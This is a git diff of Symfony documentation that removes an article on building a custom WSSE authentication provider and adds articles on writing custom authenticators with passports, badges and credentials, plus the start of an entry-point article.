-:doc:`common authentication mechanisms </security/auth_providers>`. However, your
-app may need to integrated with some proprietary single-sign-on system or some
-legacy authentication mechanism. In those cases you could create a custom
-authentication provider. This article discusses the core classes involved
-in the authentication process, and how to implement a custom authentication
-provider. Because authentication and authorization are separate concepts,
-this extension will be user-provider agnostic, and will function with your
-application's user providers, may they be based in memory, a database, or
-wherever else you choose to store them.
-
-Meet WSSE
----------
-
-The following article demonstrates how to create a custom authentication
-provider for WSSE authentication. The security protocol for WSSE provides
-several security benefits:
-
-#. Username / Password encryption
-#. Safe guarding against replay attacks
-#. No web server configuration required
-
-WSSE is very useful for the securing of web services, may they be SOAP or
-REST.
-
-There is plenty of great documentation on `WSSE`_, but this article will
-focus not on the security protocol, but rather the manner in which a custom
-protocol can be added to your Symfony application. The basis of WSSE is
-that a request header is checked for encrypted credentials, verified using
-a timestamp and `nonce`_, and authenticated for the requested user using a
-password digest.
-
-.. note::
-
-    WSSE also supports application key validation, which is useful for web
-    services, but is outside the scope of this article.
-
-The Token
----------
-
-The role of the token in the Symfony security context is an important one.
-A token represents the user authentication data present in the request. Once
-a request is authenticated, the token retains the user's data, and delivers
-this data across the security context. First, you'll create your token class.
-This will allow the passing of all relevant information to your authentication
-provider::
-
-    // src/Security/Authentication/Token/WsseUserToken.php
-    namespace App\Security\Authentication\Token;
-
-    use Symfony\Component\Security\Core\Authentication\Token\AbstractToken;
-
-    class WsseUserToken extends AbstractToken
-    {
-        public $created;
-        public $digest;
-        public $nonce;
-
-        public function __construct(array $roles = [])
-        {
-            parent::__construct($roles);
-
-            // If the user has roles, consider it authenticated
-            $this->setAuthenticated(count($roles) > 0);
-        }
-
-        public function getCredentials()
-        {
-            return '';
-        }
-    }
-
-.. note::
-
-    The ``WsseUserToken`` class extends the Security component's
-    :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\AbstractToken`
-    class, which provides basic token functionality. Implement the
-    :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface`
-    on any class to use as a token.
-
-The Listener
-------------
-
-Next, you need a listener to listen on the firewall. The listener
-is responsible for fielding requests to the firewall and calling the authentication
-provider. Listener is a callable, so you have to implement an ``__invoke()`` method.
-A security listener should handle the
-:class:`Symfony\\Component\\HttpKernel\\Event\\RequestEvent` event, and
-set an authenticated token in the token storage if successful::
-
-    // src/Security/Firewall/WsseListener.php
-    namespace App\Security\Firewall;
-
-    use App\Security\Authentication\Token\WsseUserToken;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\HttpKernel\Event\RequestEvent;
-    use Symfony\Component\Security\Core\Authentication\AuthenticationManagerInterface;
-    use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-
-    class WsseListener
-    {
-        protected $tokenStorage;
-        protected $authenticationManager;
-
-        public function __construct(TokenStorageInterface $tokenStorage, AuthenticationManagerInterface $authenticationManager)
-        {
-            $this->tokenStorage = $tokenStorage;
-            $this->authenticationManager = $authenticationManager;
-        }
-
-        public function __invoke(RequestEvent $event)
-        {
-            $request = $event->getRequest();
-
-            $wsseRegex = '/UsernameToken Username="(?P<username>[^"]+)", PasswordDigest="(?P<digest>[^"]+)", Nonce="(?P<nonce>[a-zA-Z0-9+\/]+={0,2})", Created="(?P<created>[^"]+)"/';
-            if (!$request->headers->has('x-wsse') || 1 !== preg_match($wsseRegex, $request->headers->get('x-wsse'), $matches)) {
-                return;
-            }
-
-            $token = new WsseUserToken();
-            $token->setUser($matches['username']);
-
-            $token->digest  = $matches['digest'];
-            $token->nonce   = $matches['nonce'];
-            $token->created = $matches['created'];
-
-            try {
-                $authToken = $this->authenticationManager->authenticate($token);
-                $this->tokenStorage->setToken($authToken);
-
-                return;
-            } catch (AuthenticationException $failed) {
-                // ... you might log something here
-
-                // To deny the authentication clear the token. This will redirect to the login page.
-                // Make sure to only clear your token, not those of other authentication listeners.
-                // $token = $this->tokenStorage->getToken();
-                // if ($token instanceof WsseUserToken && $this->providerKey === $token->getProviderKey()) {
-                //     $this->tokenStorage->setToken(null);
-                // }
-                // return;
-            }
-
-            // By default deny authorization
-            $response = new Response();
-            $response->setStatusCode(Response::HTTP_FORBIDDEN);
-            $event->setResponse($response);
-        }
-    }
-
-This listener checks the request for the expected ``X-WSSE`` header, matches
-the value returned for the expected WSSE information, creates a token using
-that information, and passes the token on to the authentication manager. If
-the proper information is not provided, or the authentication manager throws
-an :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`,
-a 401 Response is returned.
-
-.. note::
-
-    A class not used above, the
-    :class:`Symfony\\Component\\Security\\Http\\Firewall\\AbstractAuthenticationListener`
-    class, is a very useful base class which provides commonly needed functionality
-    for security extensions. This includes maintaining the token in the session,
-    providing success / failure handlers, login form URLs, and more. As WSSE
-    does not require maintaining authentication sessions or login forms, it
-    won't be used for this example.
-
-.. note::
-
-    Returning prematurely from the listener is relevant only if you want to chain
-    authentication providers (for example to allow anonymous users). If you want
-    to forbid access to anonymous users and have a 404 error, you should set
-    the status code of the response before returning.
-
-The Authentication Provider
----------------------------
-
-The authentication provider will do the verification of the ``WsseUserToken``.
-Namely, the provider will verify the ``Created`` header value is valid within
-five minutes, the ``Nonce`` header value is unique within five minutes, and
-the ``PasswordDigest`` header value matches with the user's password::
-
-    // src/Security/Authentication/Provider/WsseProvider.php
-    namespace App\Security\Authentication\Provider;
-
-    use App\Security\Authentication\Token\WsseUserToken;
-    use Psr\Cache\CacheItemPoolInterface;
-    use Symfony\Component\Security\Core\Authentication\Provider\AuthenticationProviderInterface;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-
-    class WsseProvider implements AuthenticationProviderInterface
-    {
-        private $userProvider;
-        private $cachePool;
-
-        public function __construct(UserProviderInterface $userProvider, CacheItemPoolInterface $cachePool)
-        {
-            $this->userProvider = $userProvider;
-            $this->cachePool = $cachePool;
-        }
-
-        public function authenticate(TokenInterface $token)
-        {
-            $user = $this->userProvider->loadUserByUsername($token->getUsername());
-
-            if ($user && $this->validateDigest($token->digest, $token->nonce, $token->created, $user->getPassword())) {
-                $authenticatedToken = new WsseUserToken($user->getRoles());
-                $authenticatedToken->setUser($user);
-
-                return $authenticatedToken;
-            }
-
-            throw new AuthenticationException('The WSSE authentication failed.');
-        }
-
-        /**
-         * This function is specific to Wsse authentication and is only used to help this example
-         *
-         * For more information specific to the logic here, see
-         * https://github.com/symfony/symfony-docs/pull/3134#issuecomment-27699129
-         */
-        protected function validateDigest($digest, $nonce, $created, $secret)
-        {
-            // Check created time is not in the future
-            if (strtotime($created) > time()) {
-                return false;
-            }
-
-            // Expire timestamp after 5 minutes
-            if (time() - strtotime($created) > 300) {
-                return false;
-            }
-
-            // Try to fetch the cache item from pool
-            $cacheItem = $this->cachePool->getItem(md5($nonce));
-
-            // Validate that the nonce is *not* in cache
-            // if it is, this could be a replay attack
-            if ($cacheItem->isHit()) {
-                // In a real world application you should throw a custom
-                // exception extending the AuthenticationException
-                throw new AuthenticationException('Previously used nonce detected');
-            }
-
-            // Store the item in cache for 5 minutes
-            $cacheItem->set(null)->expiresAfter(300);
-            $this->cachePool->save($cacheItem);
-
-            // Validate Secret
-            $expected = base64_encode(sha1(base64_decode($nonce).$created.$secret, true));
-
-            return hash_equals($expected, $digest);
-        }
-
-        public function supports(TokenInterface $token)
-        {
-            return $token instanceof WsseUserToken;
-        }
-    }
-
-.. note::
-
-    The :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface`
-    requires an ``authenticate()`` method on the user token, and a ``supports()``
-    method, which tells the authentication manager whether or not to use this
-    provider for the given token. In the case of multiple providers, the
-    authentication manager will then move to the next provider in the list.
-
-The Factory
------------
-
-You have created a custom token, custom listener, and custom provider. Now
-you need to tie them all together. How do you make a unique provider available
-for every firewall? The answer is by using a *factory*. A factory
-is where you hook into the Security component, telling it the name of your
-provider and any configuration options available for it. First, you must
-create a class which implements
-:class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\SecurityFactoryInterface`::
-
-    // src/DependencyInjection/Security/Factory/WsseFactory.php
-    namespace App\DependencyInjection\Security\Factory;
-
-    use App\Security\Authentication\Provider\WsseProvider;
-    use App\Security\Firewall\WsseListener;
-    use Symfony\Bundle\SecurityBundle\DependencyInjection\Security\Factory\SecurityFactoryInterface;
-    use Symfony\Component\Config\Definition\Builder\NodeDefinition;
-    use Symfony\Component\DependencyInjection\ChildDefinition;
-    use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\DependencyInjection\Reference;
-
-    class WsseFactory implements SecurityFactoryInterface
-    {
-        public function create(ContainerBuilder $container, string $id, array $config, string $userProvider, ?string $defaultEntryPoint)
-        {
-            $providerId = 'security.authentication.provider.wsse.'.$id;
-            $container
-                ->setDefinition($providerId, new ChildDefinition(WsseProvider::class))
-                ->setArgument(0, new Reference($userProvider))
-            ;
-
-            $listenerId = 'security.authentication.listener.wsse.'.$id;
-            $container->setDefinition($listenerId, new ChildDefinition(WsseListener::class));
-
-            return [$providerId, $listenerId, $defaultEntryPoint];
-        }
-
-        public function getPosition()
-        {
-            return 'pre_auth';
-        }
-
-        public function getKey()
-        {
-            return 'wsse';
-        }
-
-        public function addConfiguration(NodeDefinition $node)
-        {
-        }
-    }
-
-The :class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\SecurityFactoryInterface`
-requires the following methods:
-
-``create()``
-    Method which adds the listener and authentication provider
-    to the DI container for the appropriate security context.
-
-``getPosition()``
-    Returns when the provider should be called. This can be one of ``pre_auth``,
-    ``form``, ``http`` or ``remember_me``.
-
-``getKey()``
-    Method which defines the configuration key used to reference
-    the provider in the firewall configuration.
-
-``addConfiguration()``
-    Method which is used to define the configuration
-    options underneath the configuration key in your security configuration.
-    Setting configuration options are explained later in this article.
-
-.. note::
-
-    A class not used in this example,
-    :class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\AbstractFactory`,
-    is a very useful base class which provides commonly needed functionality
-    for security factories. It may be useful when defining an authentication
-    provider of a different type.
-
-Now that you have created a factory class, the ``wsse`` key can be used as
-a firewall in your security configuration.
-
-.. note::
-
-    You may be wondering "why do you need a special factory class to add listeners
-    and providers to the dependency injection container?". This is a very
-    good question. The reason is you can use your firewall multiple times,
-    to secure multiple parts of your application. Because of this, each
-    time your firewall is used, a new service is created in the DI container.
-    The factory is what creates these new services.
-
-Configuration
--------------
-
-It's time to see your authentication provider in action. You will need to
-do a few things in order to make this work. The first thing is to add the
-services above to the DI container. Your factory class above makes reference
-to service ids that may not exist yet: ``App\Security\Authentication\Provider\WsseProvider`` and
-``App\Security\Firewall\WsseListener``. It's time to define those services.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            App\Security\Authentication\Provider\WsseProvider:
-                arguments:
-                    $cachePool: '@cache.app'
-
-            App\Security\Firewall\WsseListener:
-                arguments: ['@security.token_storage', '@security.authentication.manager']
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="App\Security\Authentication\Provider\WsseProvider">
-                    <argument key="$cachePool" type="service" id="cache.app"/>
-                </service>
-
-                <service id="App\Security\Firewall\WsseListener">
-                    <argument type="service" id="security.token_storage"/>
-                    <argument type="service" id="security.authentication.manager"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-         // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\Security\Authentication\Provider\WsseProvider;
-        use App\Security\Firewall\WsseListener;
-        use Symfony\Component\DependencyInjection\Reference;
-
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
-
-            $services->set(WsseProvider::class)
-                ->arg('$cachePool', service('cache.app'))
-            ;
-
-            $services->set(WsseListener::class)
-                ->args([
-                    // In versions earlier to Symfony 5.1 the service() function was called ref()
-                    service('security.token_storage'),
-                    service('security.authentication.manager'),
-                ])
-            ;
-        };
-
-Now that your services are defined, tell your security context about your
-factory in the kernel::
-
-    // src/Kernel.php
-    namespace App;
-
-    use App\DependencyInjection\Security\Factory\WsseFactory;
-    // ...
-
-    class Kernel extends BaseKernel
-    {
-        public function build(ContainerBuilder $container)
-        {
-            $extension = $container->getExtension('security');
-            $extension->addSecurityListenerFactory(new WsseFactory());
-        }
-
-        // ...
-    }
-
-You are finished! You can now define parts of your app as under WSSE protection.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                wsse_secured:
-                    pattern:   ^/api/
-                    stateless: true
-                    wsse:      true
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall
-                    name="wsse_secured"
-                    pattern="^/api/"
-                    stateless="true"
-                    wsse="true"
-                />
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'wsse_secured' => [
-                    'pattern'   => '^/api/',
-                    'stateless' => true,
-                    'wsse'      => true,
-                ],
-            ],
-        ]);
-
-Congratulations! You have written your very own custom security authentication
-provider!
-
-A little Extra
---------------
-
-How about making your WSSE authentication provider a bit more exciting? The
-possibilities are endless. Why don't you start by adding some sparkle
-to that shine?
-
-Configuration
-~~~~~~~~~~~~~
-
-You can add custom options under the ``wsse`` key in your security configuration.
-For instance, the time allowed before expiring the ``Created`` header item,
-by default, is 5 minutes. Make this configurable, so different firewalls
-can have different timeout lengths.
-
-You will first need to edit ``WsseFactory`` and define the new option in
-the ``addConfiguration()`` method::
-
-    // src/DependencyInjection/Security/Factory/WsseFactory.php
-    namespace App\DependencyInjection\Security\Factory;
-
-    // ...
-
-    class WsseFactory implements SecurityFactoryInterface
-    {
-        // ...
-
-        public function addConfiguration(NodeDefinition $node)
-        {
-            $node
-                ->children()
-                    ->scalarNode('lifetime')->defaultValue(300)
-                ->end();
-        }
-    }
-
-Now, in the ``create()`` method of the factory, the ``$config`` argument will
-contain a ``lifetime`` key, set to 5 minutes (300 seconds) unless otherwise
-set in the configuration. Pass this argument to your authentication provider
-in order to put it to use::
-
-    // src/DependencyInjection/Security/Factory/WsseFactory.php
-    namespace App\DependencyInjection\Security\Factory;
-    
-    use App\Security\Authentication\Provider\WsseProvider;
-
-    class WsseFactory implements SecurityFactoryInterface
-    {
-        public function create(ContainerBuilder $container, string $id, array $config, string $userProvider, ?string $defaultEntryPoint)
-        {
-            $providerId = 'security.authentication.provider.wsse.'.$id;
-            $container
-                ->setDefinition($providerId, new ChildDefinition(WsseProvider::class))
-                ->setArgument(0, new Reference($userProvider))
-                ->setArgument(2, $config['lifetime']);
-            // ...
-        }
-
-        // ...
-    }
-
-.. note::
-
-    The ``WsseProvider`` class will also now need to accept a third constructor argument -
-    the lifetime - which it should use instead of the hard-coded 300 seconds. This
-    step is not shown here.
-
-The lifetime of each WSSE request is now configurable, and can be
-set to any desirable value per firewall.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                wsse_secured:
-                    pattern:   ^/api/
-                    stateless: true
-                    wsse:      { lifetime: 30 }
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="wsse_secured" pattern="^/api/" stateless="true">
-                    <wsse lifetime="30"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'wsse_secured' => [
-                    'pattern'   => '^/api/',
-                    'stateless' => true,
-                    'wsse'      => [
-                        'lifetime' => 30,
-                    ],
-                ],
-            ],
-        ]);
-
-The rest is up to you! Any relevant configuration items can be defined
-in the factory and consumed or passed to the other classes in the container.
-
-
-.. _`WSSE`: https://www.xml.com/pub/a/2003/12/17/dive.html
-.. _`nonce`: https://en.wikipedia.org/wiki/Cryptographic_nonce
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
new file mode 100644
index 00000000000..3f4809e23d0
--- /dev/null
+++ b/security/custom_authenticator.rst
@@ -0,0 +1,380 @@
+How to Write a Custom Authenticator
+===================================
+
+Symfony comes with :ref:`many authenticators <security-authenticators>` and
+third party bundles also implement more complex cases like JWT and oAuth
+2.0. However, sometimes you need to implement a custom authentication
+mechanism that doesn't exists yet or you need to customize one. In such
+cases, you must create and use your own authenticator.
+
+Authenticators should implement the
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`.
+You can also extend
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractAuthenticator`,
+which has a default implementation for the ``createAuthenticatedToken()``
+method that fits most use-cases::
+
+    // src/Security/ApiKeyAuthenticator.php
+    namespace App\Security;
+
+    use Symfony\Component\HttpFoundation\JsonResponse;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Exception\AuthenticationException;
+    use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
+    use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
+    use Symfony\Component\Security\Http\Authenticator\Passport\SelfValidatingPassport;
+
+    class ApiKeyAuthenticator extends AbstractAuthenticator
+    {
+        /**
+         * Called on every request to decide if this authenticator should be
+         * used for the request. Returning `false` will cause this authenticator
+         * to be skipped.
+         */
+        public function supports(Request $request): ?bool
+        {
+            return $request->headers->has('X-AUTH-TOKEN');
+        }
+
+        public function authenticate(Request $request): Passport
+        {
+            $apiToken = $request->headers->get('X-AUTH-TOKEN');
+            if (null === $apiToken) {
+                // The token header was empty, authentication fails with HTTP Status
+                // Code 401 "Unauthorized"
+                throw new CustomUserMessageAuthenticationException('No API token provided');
+            }
+
+            return new SelfValidatingPassport(new UserBadge($apiToken));
+        }
+
+        public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response
+        {
+            // on success, let the request continue
+            return null;
+        }
+
+        public function onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response
+        {
+            $data = [
+                // you may want to customize or obfuscate the message first
+                'message' => strtr($exception->getMessageKey(), $exception->getMessageData())
+
+                // or to translate this message
+                // $this->translator->trans($exception->getMessageKey(), $exception->getMessageData())
+            ];
+
+            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
+        }
+    }
+
+.. tip::
+
+    If your custom authenticator is a login form, you can extend from the
+    :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractLoginFormAuthenticator`
+    class instead to make your job easier.
+
+The authenticator can be enabled using the ``custom_authenticators`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            enable_authenticator_manager: true
+
+            # ...
+            firewalls:
+                main:
+                    custom_authenticators:
+                        - App\Security\ApiKeyAuthenticator
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config enable-authenticator-manager="true">
+                <!-- ... -->
+
+                <firewall name="main">
+                    <custom-authenticator>App\Security\ApiKeyAuthenticator</custom-authenticator>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\ApiKeyAuthenticator;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+            // ....
+
+            $security->firewall('main')
+                ->customAuthenticators([ApiKeyAuthenticator::class])
+            ;
+        };
+
+.. versionadded:: 5.2
+
+    Starting with Symfony 5.2, the custom authenticator is automatically
+    registered as entry point if it implements ``AuthenticationEntryPointInterface``.
+
+    Prior to 5.2, you had to configure the entry point separately using the
+    ``entry_point`` option. Read :doc:`/security/entry_point` for more
+    information.
+
+The ``authenticate()`` method is the most important method of the
+authenticator. Its job is to extract credentials (e.g. username &
+password, or API tokens) from the ``Request`` object and transform these
+into a security
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`.
+See :ref:`security-passport` below for a detailed look into the
+authentication process.
+
+After the authentication process finished, the user is either authenticated
+or there was something wrong (e.g. incorrect password). The authenticator
+can define what happens in these cases:
+
+``onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response``
+    If the user is authenticated, this method is called with the
+    authenticated ``$token``. This method can return a response (e.g.
+    redirect the user to the homepage).
+
+    If ``null`` is returned, the request continues like normal (i.e. the
+    controller matching the login route is called). This is useful for API
+    routes where each route is protected by an API key header.
+
+``onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response``
+    If an ``AuthenticationException`` is thrown during authentication, the
+    process fails and this method is called. This method can return a
+    response (e.g. to return a 401 Unauthorized response in API routes).
+
+    If ``null`` is returned, the request continues like normal. This is
+    useful for e.g. login forms, where the login controller is run again
+    with the login errors.
+
+    **Caution**: Never use ``$exception->getMessage()`` for ``AuthenticationException``
+    instances. This message might contain sensitive information that you
+    don't want to expose publicly. Instead, use ``$exception->getMessageKey()``
+    and ``$exception->getMessageData()`` like shown in the full example
+    above. Use :class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`
+    if you want to set custom error messages.
+
+.. _security-passport:
+
+Security Passports
+------------------
+
+.. versionadded:: 5.2
+
+    The ``UserBadge`` was introduced in Symfony 5.2. Prior to 5.2, the user
+    instance was provided directly to the passport.
+
+A passport is an object that contains the user that will be authenticated as
+well as other pieces of information, like whether a password should be checked
+or if "remember me" functionality should be enabled.
+
+The default
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`
+requires a user and some sort of "credentials" (e.g. a password).
+
+Use the
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\UserBadge`
+to attach the user to the passport. The ``UserBadge`` requires a user
+identifier (e.g. the username or email), which is used to load the user
+using :ref:`the user provider <security-user-providers>`::
+
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+
+    // ...
+    $passport = new Passport(new UserBadge($email), $credentials);
+
+.. note::
+
+    You can optionally pass a user loader as second argument to the
+    ``UserBadge``. This callable receives the ``$userIdentifier``
+    and must return a ``UserInterface`` object (otherwise a
+    ``UserNotFoundException`` is thrown)::
+
+        // src/Security/CustomAuthenticator.php
+        namespace App\Security;
+
+        use App\Repository\UserRepository;
+        // ...
+
+        class CustomAuthenticator extends AbstractAuthenticator
+        {
+            private $userRepository;
+
+            public function __construct(UserRepository $userRepository)
+            {
+                $this->userRepository = $userRepository;
+            }
+
+            public function authenticate(Request $request): Passport
+            {
+                // ...
+
+                return new Passport(
+                    new UserBadge($email, function ($userIdentifier) {
+                        return $this->userRepository->findOneBy(['email' => $userIdentifier]);
+                    }),
+                    $credentials
+                );
+            }
+        }
+
+The following credential classes are supported by default:
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\PasswordCredentials`
+    This requires a plaintext ``$password``, which is validated using the
+    :ref:`password encoder configured for the user <security-encoding-user-password>`::
+
+        use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\PasswordCredentials;
+
+        // ...
+        return new Passport(new UserBadge($email), new PasswordCredentials($plaintextPassword));
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\CustomCredentials`
+    Allows a custom closure to check credentials::
+
+        use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\CustomCredentials;
+
+        // ...
+        return new Passport(new UserBadge($email), new CustomCredentials(
+            // If this function returns anything else than `true`, the credentials
+            // are marked as invalid.
+            // The $credentials parameter is equal to the next argument of this class
+            function ($credentials, UserInterface $user) {
+                return $user->getApiToken() === $credentials;
+            },
+
+            // The custom credentials
+            $apiToken
+        ));
+
+
+Self Validating Passport
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you don't need any credentials to be checked (e.g. when using API
+tokens), you can use the
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\SelfValidatingPassport`.
+This class only requires a ``UserBadge`` object and optionally `Passport Badges`_.
+
+Passport Badges
+---------------
+
+The ``Passport`` also optionally allows you to add *security badges*.
+Badges attach more data to the passport (to extend security). By default,
+the following badges are supported:
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\RememberMeBadge`
+    When this badge is added to the passport, the authenticator indicates
+    remember me is supported. Whether remember me is actually used depends
+    on special ``remember_me`` configuration. Read
+    :doc:`/security/remember_me` for more information.
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PasswordUpgradeBadge`
+    This is used to automatically upgrade the password to a new hash upon
+    successful login (if needed). This badge requires the plaintext password and a
+    password upgrader (e.g. the user repository). See :ref:`security-password-migration`.
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\CsrfTokenBadge`
+    Automatically validates CSRF tokens for this authenticator during
+    authentication. The constructor requires a token ID (unique per form)
+    and CSRF token (unique per request). See :doc:`/security/csrf`.
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PreAuthenticatedUserBadge`
+    Indicates that this user was pre-authenticated (i.e. before Symfony was
+    initiated). This skips the
+    :doc:`pre-authentication user checker </security/user_checkers>`.
+
+.. versionadded:: 5.2
+
+    Since 5.2, the ``PasswordUpgradeBadge`` is automatically added to
+    the passport if the passport has ``PasswordCredentials``.
+
+For instance, if you want to add CSRF to your custom authenticator, you
+would initialize the passport like this::
+
+    // src/Service/LoginAuthenticator.php
+    namespace App\Service;
+
+    // ...
+    use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
+
+    class LoginAuthenticator extends AbstractAuthenticator
+    {
+        public function authenticate(Request $request): Passport
+        {
+            $password = $request->request->get('password');
+            $username = $request->request->get('username');
+            $csrfToken = $request->request->get('csrf_token');
+
+            // ... validate no parameter is empty
+
+            return new Passport(
+                new UserBadge($username),
+                new PasswordCredentials($password),
+                [new CsrfTokenBadge('login', $csrfToken)]
+            );
+        }
+    }
+
+.. tip::
+
+    Besides badges, passports can define attributes, which allows the
+    ``authenticate()`` method to store arbitrary information in the
+    passport to access it from other authenticator methods (e.g.
+    ``createAuthenticatedToken()``)::
+
+        // ...
+        use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+
+        class LoginAuthenticator extends AbstractAuthenticator
+        {
+            // ...
+
+            public function authenticate(Request $request): Passport
+            {
+                // ... process the request
+
+                $passport = new SelfValidatingPassport(new UserBadge($username), []);
+
+                // set a custom attribute (e.g. scope)
+                $passport->setAttribute('scope', $oauthScope);
+
+                return $passport;
+            }
+
+            public function createToken(Passport $passport, string $firewallName): TokenInterface
+            {
+                // read the attribute value
+                return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));
+            }
+        }
+
+.. versionadded:: 5.2
+
+    Passport attributes were introduced in Symfony 5.2.
diff --git a/security/entry_point.rst b/security/entry_point.rst
new file mode 100644
index 00000000000..daee51493fa
--- /dev/null
+++ b/security/entry_point.rst
@@ -0,0 +1,174 @@
+The Entry Point: Helping Users Start Authentication
+===================================================
+
+When an unauthenticated user tries to access a protected page, Symfony
+gives them a suitable response to let them start authentication (e.g.
+redirect to a login form or show a 401 Unauthorized HTTP response for
+APIs).
+
+However sometimes, one firewall has multiple ways to authenticate (e.g.
+both a form login and a social login). In these cases, it is required to
+configure the *authentication entry point*.
+
+You can configure this using the ``entry_point`` setting:
+
+.. configuration-block::
+
